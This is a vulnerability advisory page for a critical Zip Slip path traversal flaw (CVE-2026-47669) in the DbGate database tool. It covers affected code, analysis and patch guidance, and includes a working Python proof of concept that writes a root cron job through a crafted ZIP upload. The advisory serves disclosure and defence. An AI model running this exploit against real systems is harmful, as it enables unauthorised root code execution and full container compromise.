Skip to main content

DbGate CVE-2026-47669

| EUVDEUVD-2026-48377 CRITICAL
Path Traversal (CWE-22)
2026-06-05 https://github.com/dbgate/dbgate GHSA-h535-j5hr-mv56
9.3
CVSS 4.0 · Vendor: https://github.com/dbgate/dbgate
Share

Severity by source

Vendor (https://github.com/dbgate/dbgate) PRIMARY
9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from Vendor (https://github.com/dbgate/dbgate) · only source for this CVE.

CVSS VectorVendor: https://github.com/dbgate/dbgate

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

4
Re-analysis Queued
Jul 23, 2026 - 20:22 vuln.today
cvss_changed
CVSS changed
Jul 23, 2026 - 20:22 NVD
9.3 (CRITICAL)
Source Code Evidence Fetched
Jun 05, 2026 - 16:52 vuln.today
Analysis Generated
Jun 05, 2026 - 16:52 vuln.today

DescriptionCVE.org

The unzipDirectory() function in packages/api/src/shell/unzipDirectory.js (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with ../ entries writes files anywhere on the filesystem.

In the default Docker deployment, DbGate runs as root and the none auth provider issues JWT tokens without credentials via POST /auth/login, so this is exploitable by any network-adjacent attacker.

Affected code:

packages/api/src/shell/unzipDirectory.js, line 27:

js
const destPath = path.join(outputDirectory, entry.fileName);
// No check that destPath stays within outputDirectory

Called from packages/api/src/controllers/archive.js, lines 291-293:

js
async unzip({ folder }) {
    const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) });
    await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder));

The archive controller also has zero permission checks and zero path traversal protection on any of its endpoints.

PoC:

python
import requests, zipfile, io

TARGET = "http://localhost:3000"
# Get auth token (no credentials needed in default Docker)
r = requests.post(f"{TARGET}/api/auth/login", json={"amoid": "none"})
token = r.json()["accessToken"]
hdrs = {"Authorization": f"Bearer {token}"}
# Create malicious ZIP with path traversal
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
    zf.writestr("../../../../../../etc/cron.d/dbgate-pwn",
                "* * * * * root id > /tmp/pwned\n")
buf.seek(0)
# Upload ZIP
r = requests.post(f"{TARGET}/api/uploads/upload", headers=hdrs,
                  files={"data": ("evil.zip", buf, "application/zip")})
info = r.json()
# Save to archive
requests.post(f"{TARGET}/api/archive/save-uploaded-zip", headers=hdrs,
              json={"filePath": info["filePath"], "fileName": "evil.zip"})
# Trigger Zip Slip - writes cron job to /etc/cron.d/
requests.post(f"{TARGET}/api/archive/unzip", headers=hdrs,
              json={"folder": "evil.zip"})
print("Check /tmp/pwned after 1 minute")

Impact: Arbitrary file write as root -> RCE. Full container compromise in Docker deployments.

AnalysisAI

Remote code execution in DbGate versions 7.1.8 and earlier allows network-adjacent attackers to achieve full container compromise via a Zip Slip flaw in the archive unzip endpoint. Because the default Docker deployment runs as root and the bundled 'none' authentication provider issues JWT tokens without credentials, any attacker reachable on the network can upload a malicious ZIP that writes files anywhere on the filesystem, including cron entries for code execution. Publicly available exploit code exists in the GHSA advisory itself, and an upstream patched release (7.1.9) is available.

Technical ContextAI

DbGate is an open-source database management web application distributed as the npm package 'dbgate' (pkg:npm/dbgate) and commonly deployed as a Docker container. The root cause is a CWE-22 path traversal in packages/api/src/shell/unzipDirectory.js at line 27, where destPath is computed as path.join(outputDirectory, entry.fileName) without verifying that the resolved path remains within outputDirectory. This is the canonical 'Zip Slip' pattern: archive entries containing '../' sequences resolve outside the intended extraction directory. The vulnerable function is invoked from the archive controller's unzip handler (packages/api/src/controllers/archive.js, lines 291-293), which exposes the behavior over HTTP and, per the advisory, lacks both permission checks and path traversal protection across its endpoints. The exposure is amplified by two deployment characteristics: the default Docker image runs the Node.js process as root, and the 'none' auth provider mints valid JWTs from POST /auth/login without any credentials.

RemediationAI

Vendor-released patch: upgrade dbgate to version 7.1.9 or later, available at https://github.com/dbgate/dbgate/releases/tag/v7.1.9, per the GHSA advisory at https://github.com/dbgate/dbgate/security/advisories/GHSA-h535-j5hr-mv56; for Docker users this means pulling the 7.1.9 (or newer) image tag and redeploying. If immediate upgrade is not possible, disable the 'none' authentication provider and require a real auth backend so that anonymous POST /auth/login no longer mints valid JWTs (trade-off: existing automation that relied on credential-less access will break and must be reconfigured). Additionally restrict network exposure of the DbGate API to trusted administrative networks via firewall, reverse-proxy ACLs, or a VPN, since the archive/unzip and uploads endpoints are the attack surface (trade-off: remote users must connect through the chosen access path). Where feasible, run the container as a non-root user and mount the filesystem read-only outside the archive directory to blunt the arbitrary-file-write primitive (trade-off: may require image rebuild and breaks any feature that writes outside the archive dir).

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Share

CVE-2026-47669 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy